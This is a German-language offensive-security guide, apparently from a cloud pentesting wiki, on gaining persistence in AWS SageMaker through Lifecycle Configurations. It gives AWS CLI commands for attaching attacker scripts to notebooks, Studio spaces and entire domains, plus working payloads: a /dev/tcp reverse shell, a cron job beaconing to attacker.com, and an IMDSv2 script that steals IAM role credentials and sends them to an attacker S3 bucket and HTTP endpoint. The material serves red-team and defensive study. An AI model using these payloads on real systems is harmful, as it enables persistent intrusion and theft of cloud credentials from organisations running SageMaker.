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# AWS - SageMaker Lifecycle Configuration Persistence
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## Übersicht der Persistenztechniken
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Dieser Abschnitt beschreibt Methoden zur Erlangung von Persistenz in SageMaker durch den Missbrauch von Lifecycle Configurations (LCCs), einschließlich Reverse Shells, Cron-Jobs, Diebstahl von Anmeldeinformationen über IMDS und SSH-Backdoors. Diese Skripte werden mit der IAM-Rolle der Instanz ausgeführt und können über Neustarts hinweg bestehen bleiben. Die meisten Techniken erfordern ausgehenden Netzwerkzugang, aber die Nutzung von Diensten im AWS-Control-Plane kann dennoch Erfolg ermöglichen, wenn die Umgebung im 'VPC-only'-Modus ist.
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#### Hinweis: SageMaker-Notebook-Instanzen sind im Wesentlichen verwaltete EC2-Instanzen, die speziell für Machine-Learning-Workloads konfiguriert sind.
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## Erforderliche Berechtigungen
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* Notebook-Instanzen:
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sagemaker:CreateNotebookInstanceLifecycleConfig
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sagemaker:UpdateNotebookInstanceLifecycleConfig
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sagemaker:CreateNotebookInstance
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sagemaker:UpdateNotebookInstance
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```
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* Studio-Anwendungen:
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```
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sagemaker:CreateStudioLifecycleConfig
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sagemaker:UpdateStudioLifecycleConfig
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sagemaker:UpdateUserProfile
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sagemaker:UpdateSpace
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sagemaker:UpdateDomain
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```
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## Set Lifecycle Configuration on Notebook Instances
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### Beispiel AWS CLI-Befehle:
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```bash
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# Create Lifecycle Configuration*
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aws sagemaker create-notebook-instance-lifecycle-config \
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--notebook-instance-lifecycle-config-name attacker-lcc \
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--on-start Content=$(base64 -w0 reverse_shell.sh)
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# Attach Lifecycle Configuration to Notebook Instance*
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aws sagemaker update-notebook-instance \
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--notebook-instance-name victim-instance \
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--lifecycle-config-name attacker-lcc
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```
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## Lebenszykluskonfiguration in SageMaker Studio festlegen
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Lebenszykluskonfigurationen können auf verschiedenen Ebenen und für unterschiedliche App-Typen innerhalb von SageMaker Studio angehängt werden.
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### Studio-Domain-Ebene (Alle Benutzer)
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```bash
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# Create Studio Lifecycle Configuration*
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-studio-lcc \
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--studio-lifecycle-config-app-type JupyterServer \
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--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
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# Apply LCC to entire Studio Domain*
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aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
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"JupyterServerAppSettings": {
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"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
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}
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}'
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```
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### Studio Space Level (Einzel- oder Gemeinschaftsräume)
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```bash
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# Update SageMaker Studio Space to attach LCC*
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aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
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"JupyterServerAppSettings": {
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"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
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}
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}'
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```
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## Arten von Studio-Anwendungslebenszykluskonfigurationen
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Lebenszykluskonfigurationen können spezifisch auf verschiedene SageMaker Studio-Anwendungstypen angewendet werden:
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* JupyterServer: Führt Skripte beim Start des Jupyter-Servers aus, ideal für Persistenzmechanismen wie Reverse Shells und Cron-Jobs.
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* KernelGateway: Wird beim Start der Kernel-Gateway-App ausgeführt, nützlich für die Erstkonfiguration oder den dauerhaften Zugriff.
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* CodeEditor: Gilt für den Code-Editor (Code-OSS) und ermöglicht Skripte, die beim Start von Codebearbeitungssitzungen ausgeführt werden.
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### Beispielbefehl für jeden Typ:
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### JupyterServer
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-jupyter-lcc \
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--studio-lifecycle-config-app-type JupyterServer \
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--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
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```
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### KernelGateway
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-kernelgateway-lcc \
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--studio-lifecycle-config-app-type KernelGateway \
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--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
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```
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### CodeEditor
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```bash
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aws sagemaker create-studio-lifecycle-config \
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--studio-lifecycle-config-name attacker-codeeditor-lcc \
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--studio-lifecycle-config-app-type CodeEditor \
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--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
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```
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### Kritische Informationen:
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* Das Anfügen von LCCs auf Domain- oder Raumebene betrifft alle Benutzer oder Anwendungen im Geltungsbereich.
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* Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), die typischerweise auf Raumebene machbarer sind als auf Domainebene.
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* Netzwerkebenenkontrollen (z. B. strenge Egress-Filterung) können erfolgreiche Reverse Shells oder Datenexfiltration verhindern.
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## Reverse Shell über Lifecycle-Konfiguration
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SageMaker Lifecycle Configurations (LCCs) führen benutzerdefinierte Skripte aus, wenn Notebook-Instanzen gestartet werden. Ein Angreifer mit Berechtigungen kann eine persistente Reverse Shell einrichten.
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### Payload-Beispiel:
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```
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#!/bin/bash
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ATTACKER_IP="<ATTACKER_IP>"
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ATTACKER_PORT="<ATTACKER_PORT>"
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nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
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```
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## Cron Job Persistence über Lifecycle-Konfiguration
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Ein Angreifer kann Cron-Jobs durch LCC-Skripte injizieren, um die periodische Ausführung von bösartigen Skripten oder Befehlen sicherzustellen, was eine heimliche Persistenz ermöglicht.
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### Payload-Beispiel:
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```
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#!/bin/bash
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PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
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CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
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CRON_JOB="*/30 * * * * $CRON_CMD"
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mkdir -p /home/ec2-user/SageMaker/.local_tasks
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echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
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chmod +x $PAYLOAD_PATH
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(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
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```
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## Credential Exfiltration via IMDS (v1 & v2)
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Lifecycle-Konfigurationen können den Instance Metadata Service (IMDS) abfragen, um IAM-Anmeldeinformationen abzurufen und sie an einen von einem Angreifer kontrollierten Ort zu exfiltrieren.
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### Payload Example:
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```bash
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#!/bin/bash
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ATTACKER_BUCKET="s3://attacker-controlled-bucket"
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TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
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ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
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curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
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# Exfiltrate via S3*
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aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
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# Alternatively, exfiltrate via HTTP POST*
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curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
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